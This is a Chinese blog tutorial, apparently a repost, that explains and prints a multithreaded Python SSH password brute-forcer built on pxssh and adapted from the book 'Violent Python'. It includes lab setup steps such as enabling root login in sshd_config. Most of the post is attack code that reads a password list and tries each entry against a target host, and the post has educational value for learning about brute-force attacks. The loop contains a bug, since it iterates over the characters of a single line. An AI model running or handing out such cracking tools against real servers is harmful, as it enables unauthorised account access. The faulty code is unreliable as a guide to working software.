python—用Pxssh暴力破解SSH密码

用Pxssh暴力破解SSH密码

参考于《python绝技 运用python成为顶级黑客》

1. SSH相关介绍:

SSH是主要用于为远程登陆会话提供安全保障的协议(即实现远程命令行操作)
SSH可提供两种级别的安全验证:

1.基于口令的安全验证:
通过帐号和密码登录到远程主机
攻击方式:暴力破解 / “中间人”攻击

这里需要说明一下:在暴力破解时,输错多次密码会断掉连接,这时重新连接即可,有的服务器错误次数太多了还会锁IP,那这方法就不行了。(之前有考虑过用python改IP再重新连接,但由于无法接收到服务器回弹的ssh连接,就放弃这种操作了。)

2.基于密匙的安全验证:
需要依靠密匙,也就是你必须为自己创建一对密匙,并把公用密匙放在需要访问的服务器上。如果你要连接到SSH服务器上,客户端软件就会向服务器发出请求,请求用你的密匙进行安全验证。
攻击方式:暴力破解(网络上可以下载所有的1024位/2048位密钥,但量太大,据一位大佬说:这个破解就不要去想了,难度极大,并且当前大部分都是使用基于密匙的安全验证)

2. 环境搭建:

我们可以再虚拟机上搭建ssh服务,用主机进行连接
1.安装ssh服务:
redhat,fedora,centos等系列linux发行版:sudo yum install sshd
debian,ubuntu,linux mint等系列的linux发行版:sudo apt-get install sshd
2.开启ssh服务:sudo service sshd start
3.查看ssh服务状态的命令:sudo service sshd status
4.ssh服务配置文件:/etc/ssh/sshd_config
注意配置文件的以下参数:

#LoginGraceTime 2m      #限制用户必须在指定的时限(单位秒)内认证成功,0 表示无限制
PermitRootLogin yes	 #是否允许 root 登录,默认为no,请修改为yes,注意去掉前面的‘#’才能生效
#MaxAuthTries 6         #指定每个连接最大允许的认证次数
#MaxSessions 10        #最大保持连接数
#PubkeyAuthentication yes       #是否支持公钥安全验证

如果ssh远程连接不上,请确认防火墙是否放行ssh端口,和配置文件中PermitRootLogin yes允许 root 登录是否生效
5.连接ssh:
主机cmd下执行:ssh user@IP
例如:ssh root @ 127.0.0.1
然后按照提示输入yes,输入密码。

3.模块讲解:

pxssh:
pxssh是一个包含了pexpect库的专用脚本(似乎还不能再windows下使用),它能用预先写好的login(),logout(),prompt()等函数直接与SSH进行交互
当然,pexpect库主要用于与SSH进行交互,不过有些代码得自己写,这里还是用pxssh吧
optparse:
用来给自己写的函数 设置如何输入,输入什么类型的值,以及设置帮助说明等。
如果不太理解怎么使用,可以看看我之前的 python 编写端口扫描器 中有对该模块的详细说明和示例:python 编写端口扫描器
threading:
多线程模块
简单来说就是这样用:

 t=Thread(target=connect,args=(host,user,password,True))   #相当于调用connect()函数
 child=t.start()    #启动函数
 #启动一个线程就是把一个函数传入并创建Thread实例,然后调用start()开始执行
 #这里多线程调用connect()函数,参数为args

详情可以看看别人的:廖雪峰的官方网站-python

BoundedSemaphore()对象
不过,本次还用到了一个不太常见的threading模块中的BoundedSemaphore()函数。
我们可以把它理解为一个类似计数器的对象,该对象会检查内部计数器的值,并保证它不会大于某个初始设置的值,如果大于了,就会引发一个错误。
而调用 acquire() 会使这个计数器 -1,release() 则是+1。
另外计数器的值永远不会小于 0,当计数器到 0 时,再调用 acquire() 就会阻塞,直到其他线程来调用release()。
简单的使用方式:

from threading import *
connection_lock=BoundedSemaphore(value=5)
#构建一个类似计数器的对象connection_lock,该对象会检查内部计数器的值,并保证它不会大于初始值value,如果超了,就引发一个ValueError。
connection_lock.release()    #connection_lock计数器值+1
connection_lock.acquire()    #connection_lock计数器值-1

4.代码讲解:

注意以下内容可以更好的帮我们理解程序:
BoundedSemaphore()计数器的使用和数值的变化
全局变量found 和 fails 的变化
布尔型变量release 和 release() 计数器+1函数的区分
多线程模块的运行过程

扫描二维码关注公众号,回复: 5818676 查看本文章

程序的(前半部分)连接函数connect():

from pexpect import pxssh
import optparse
import time
from threading import *   #多线程模块
maxconnections=5
connection_lock=BoundedSemaphore(value=maxconnections)
#构建一个类似计数器的对象,该对象会检查内部计数器的值,并保证它不会大于初始值value,如果超了,就引发一个ValueError。
#该对象在内部管理着一个计数器。调用 acquire() 会使这个计数器 -1,release() 则是+1.
#计数器的值永远不会小于 0,当计数器到 0 时,再调用 acquire() 就会阻塞,直到其他线程来调用release()
found=False
fails=0

def connect(host,user,password,release):
    #布尔变量release,因为connect()可以递归调用另一个connect(),
    #我们必须让不是connect()递归调用的connect()函数才能释放connection_lock信号
    global found
    global fails
    try:
        s=pxssh.pxssh()
        s.login(host,user,password)
        print('[+] password found: '+ password)
        found=True
    except Exception as e:
        if 'read_nonblocking' in str(e):  #异常显示为read_nonblocking,可能是ssh服务器被大量的连接刷爆了,可以等待片刻后再尝试连接
            fails +=1
            time.sleep(5)
            connect(host,user,password,False)     #再次进行连接
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host,user,password,False)
    finally:  #finally:无论是否有异常产生,均执行
        if release: connection_lock.release()   #release()使该计数器对象connection_lock值+1

比较有借鉴意义的是connect()函数对连接所出现的各种情况的考虑
正如书上所说:

connect()函数,如果login()函数执行成功,并且没有抛出异常,我们将打印一个消息,表明密码已被找到,并把表示密码已被找到的全局布尔值设为true 。否则,我们将捕获该异常。如果异常显示密码被拒绝,我们知道这个密码不对,让函数返回即可。但是,如果异常显示socket为"read_nonblocking",可能是SSH服务器被大量的连接刷爆了,可以稍等片刻后用相同的密码再试一次。此外,如果该异常显示pxssh命令提示符提取困难,也应等待一会儿,然后让它再试一次。请注意,在connect()函数的参数里有一个布尔量release。由于connect()可以递归地调用另一个connect(),我们必须让只有不是由connect()递归调用的connect()函数才能够释放connection_lock信号。

主函数部分:

def main():
    parser=optparse.OptionParser('usage%prog '+'-H <target host> -u <user> -F <password list>')
    parser.add_option('-H',dest='tgtHost',type='string',help='specify tgrget host')
    parser.add_option('-F',dest='passwdFile',type='string',help='specify password file')
    parser.add_option('-u',dest='user',type='string',help='specify the user')
    (options,args)=parser.parse_args()  #options是一个对象,保存有之前接收到的命令行参数值
    host=options.tgtHost
    passwdFile=options.passwdFile
    user=options.user     #上面三行,将通过命令行输入的数值依次赋值给相应参数

    if host==None or passwdFile==None or user==None:  #如果没有接收到相应参数,即输出usage,程序结束
        print(parser.usage)     #即输出 'usage%prog '+'-H <target host> -u <user> -F <password list>'
        exit(0)
    user=options.user     #?
    fn=open(passwdFile,'r')
    user=options.user     #?
    for line in fn.readline():
        user=options.user
        if found:
            print('[*] exiting: password found')
            exit(0)
        if fails>5:
            print('[*] exiting: too many socket timeout')
            exit(0)
        connection_lock.acquire()   #acquire()会使这个计数器值 -1
        password=line.strip('\r').strip('\n')
        print('[-] testing: '+ str(password))
        t=Thread(target=connect,args=(host,user,password,True))   #相当于调用connect()函数
        child=t.start()
        # 启动一个线程就是把一个函数传入并创建Thread实例,然后调用start()开始执行
        #多线程调用connect()函数,参数为args

if __name__=='__main__':
    main()

比较让我无法理解的是程序中为什么要重复使用user=options.user (在上述代码中已用’#?'标出)

在pycharm中设置好参数例如:-H 192.168.10.10 -u root -F pass.txt
点击运行我们会得到这样的错误:

Traceback (most recent call last):
  File "G:/PycharmProjects/Pxssh/px ssh.py", line 1, in <module>
    from pexpect import pxssh
  File "D:\Anaconda3\lib\site-packages\pexpect\pxssh.py", line 23, in <module>
    from pexpect import ExceptionPexpect, TIMEOUT, EOF, spawn
ImportError: cannot import name 'spawn'

Process finished with exit code 1

查询之后才发现,pexpect和pxssh脚本还不能在windows的标准 python 环境中执行
那真是太糟糕了,既然这样,不如先理解一下代码,等以后想起来了再尝试一下

猜你喜欢

转载自blog.csdn.net/qq_28840013/article/details/84593940